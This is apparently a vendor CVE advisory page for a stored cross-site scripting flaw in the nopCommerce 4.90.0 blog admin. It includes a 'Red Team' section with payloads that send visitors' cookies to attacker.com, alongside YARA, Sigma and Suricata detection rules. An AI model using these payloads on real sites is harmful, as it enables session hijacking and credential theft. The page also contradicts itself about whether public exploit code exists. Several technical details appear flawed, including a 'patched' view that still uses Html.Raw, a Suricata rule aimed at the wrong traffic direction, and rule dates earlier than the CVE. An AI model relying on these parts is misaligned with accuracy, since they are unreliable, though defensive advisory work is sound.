☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-65590

CVE-2025-65590 Cross-Site Scripting in Nopcommerce
📅 PUBLISHED: 2025-12-16 00:00 UTC 🔄 UPDATED: 2026-10-05 23:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.02%
👁️
0.02% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 4.90.0
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-65590 is a stored Cross-Site Scripting (XSS) vulnerability discovered in nopCommerce version 4.90.0, specifically within the Blog posts functionality of the Content Management area. An authenticated attacker with administrative or content manager privileges can inject malicious JavaScript payloads into blog post fields (e.g., title, body, or metadata). When other users (including other admins or visitors) view the affected blog post, the payload executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 0.0 (placeholder) but is classified as CWE-79. No official patch has been released, and no public exploit code or Nuclei template is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

nopCommerce is a .NET-based open-source e-commerce platform distributed via GitHub and NuGet. The vulnerable component is part of the core application code, not a third-party package. However, administrators should verify the integrity of their nopCommerce installation by checking file hashes against the official release. No known supply chain compromise has been reported for this CVE.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability type (stored XSS) and typical nopCommerce deployment scenarios, a realistic CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): High (H) – requires admin/content manager access
  • User Interaction (UI): None (N) – victim does not need to click anything
  • Scope (S): Changed (C) – attacker can impact resources beyond the vulnerable component
  • Confidentiality (C): Low (L) – potential data exfiltration
  • Integrity (I): Low (L) – potential content modification
  • Availability (A): None (N)

Estimated CVSS Score: 4.8 (Medium)

Threat Level: Medium. Exploitation requires authenticated access, but the impact can be severe if an attacker compromises an admin session.

Deep Dive & Mechanics

The vulnerability resides in the Blog post creation/editing functionality within the nopCommerce admin panel (/Admin/Blog/Create or /Admin/Blog/Edit). The application fails to properly sanitize user-supplied input in fields such as Title, Body, or MetaKeywords. When a blog post is saved, the unsanitized data is stored in the database and later rendered on the public-facing blog page without proper encoding.

Attack Flow:

  1. Attacker logs in as an admin or content manager.
  2. Navigates to Content Management > Blog posts > Add new.
  3. Injects a payload like <script>alert('XSS')</script> into the Title field.
  4. Saves the blog post.
  5. Any user (including other admins or site visitors) viewing the blog post triggers the script execution.

Root Cause: Lack of output encoding in the Razor views that render blog post data. The application likely uses @Html.Raw() or similar methods without sanitization.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on best practices for fixing stored XSS.

Vulnerable Code (Razor View - BlogPost.cshtml):

@model BlogPostModel
<div>
    <h2>@Html.Raw(Model.Title)</h2>
    <div>@Html.Raw(Model.Body)</div>
</div>

Patched Code (Razor View - BlogPost.cshtml):

@model BlogPostModel
<div>
    <h2>@Html.Encode(Model.Title)</h2>
    <div>@Html.Raw(Html.Encode(Model.Body))</div>
</div>

Note: For rich text content, use a sanitizer library like HtmlSanitizer instead of @Html.Raw().

Server-Side Validation (Controller - BlogController.cs):

[HttpPost]
public IActionResult Create(BlogPostModel model)
{
    if (!string.IsNullOrEmpty(model.Title))
    {
        model.Title = HtmlSanitizer.Sanitize(model.Title);
    }
    // ... rest of logic
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • nopCommerce 4.90.0 instance (e.g., Docker or local IIS)
  • Admin or content manager credentials

Step-by-Step Exploitation:

  1. Log in to the admin panel at https://target.com/admin.
  2. Navigate to Content Management > Blog posts > Add new.
  3. In the Title field, enter: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
  4. Fill in other required fields (e.g., body, publish date).
  5. Click Save.
  6. Wait for a victim (admin or visitor) to view the blog post.

Proof-of-Concept Payload:

<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>

Blue Team

Detection Steps:

  1. Monitor admin panel logs for unusual blog post creation/editing activity.
  2. Review blog post content for script tags or suspicious HTML attributes.
  3. Use web application firewall (WAF) rules to block common XSS patterns in admin inputs.

Lab Setup for Testing:

  • Deploy nopCommerce 4.90.0 in a sandboxed environment (e.g., Docker).
  • Create a test admin account.
  • Use a browser with developer tools to inspect network requests and DOM changes.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from the nopCommerce server.
  • File: Modified blog post entries in the database containing <script> tags.
  • Log: Admin audit logs showing blog post creation/editing by unexpected users.
  • Behavior: Unusual JavaScript execution in the browser when viewing blog pages.

Example IOC (Database Entry):

SELECT * FROM BlogPost WHERE Title LIKE '%<script>%' OR Body LIKE '%<script>%';

Detection Engineering

YARA Rule

rule nopCommerce_XSS_BlogPost {
    meta:
        description = "Detects stored XSS payloads in nopCommerce blog posts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65590"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: nopCommerce Stored XSS in Blog Posts
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS payloads in nopCommerce blog post fields
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: nopcommerce
detection:
    selection:
        EventID: 1000  # Example event ID for blog post creation
        Title|contains|all:
            - '<script'
            - '>'
        Body|contains|all:
            - '<script'
            - '>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in blog content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"nopCommerce Stored XSS - Blog Post Payload"; flow:to_server,established; content:"POST"; http_method; content:"/Admin/Blog/Create"; http_uri; content:"<script"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable blog post creation/editing for non-essential users.
  2. Implement a WAF rule to block <script> tags in blog post fields.
  3. Review existing blog posts for malicious content.

Long-Term Fix:

  1. Apply output encoding in all Razor views (use @Html.Encode() or @Html.Raw(Html.Encode())).
  2. Use a server-side HTML sanitizer (e.g., HtmlSanitizer NuGet package) for rich text fields.
  3. Upgrade to the latest nopCommerce version once a patch is released.
  4. Conduct a security audit of the entire Content Management area.

Workaround:

  • Modify the BlogPost.cshtml view to encode output manually until an official patch is available.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

nopCommerce
nopCommerce 4.90.0

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-65590/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.